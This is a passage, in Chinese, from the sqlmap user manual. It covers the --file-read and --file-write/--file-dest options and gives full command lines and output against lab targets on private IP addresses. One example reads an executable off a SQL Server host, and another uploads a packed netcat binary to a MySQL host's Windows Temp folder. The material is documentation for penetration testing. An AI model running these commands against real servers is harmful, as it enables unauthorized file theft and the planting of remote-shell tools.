3.12.1 读取服务器上的文件
参数 –file-read
当后端数据库管理系统为MySQL，PostgreSQL或Microsoft SQL Server，并且当前用户具有读取文件系统的文件权限时，sqlmap可以读取系统中的文件。可以是文本文件也可以是二进制文件。
这些技术可参考 Advanced SQL injection to operating system full control
针对Microsoft SQL Server 2005目标检索二进制文件的示例：
python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe" -v 1结果：
[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/
C__example.exe'
[...]
$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C_
_example.exe
$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI
) Intel 80386 32-bit可以看到文件以及被保存在本地了。
3.12.2 上传文件到服务器
参数 –file-write和–file-dest
当后端数据库管理系统是MySQL，PostgreSQL或Microsoft SQL Server，并且当前用户有权限使用特定函数上传文件时，sqlmap可上传文件到目标服务器上，既可以是文本文件也可以是二进制文件。
同样这些技术可参考 Advanced SQL injection to operating system full control
针对MySQL目标上传二进制UPX压缩文件的的示例：
$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32
-bit
$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1结果：
[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0
[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
ytes, same size as the local file '/software/nc.exe.packed'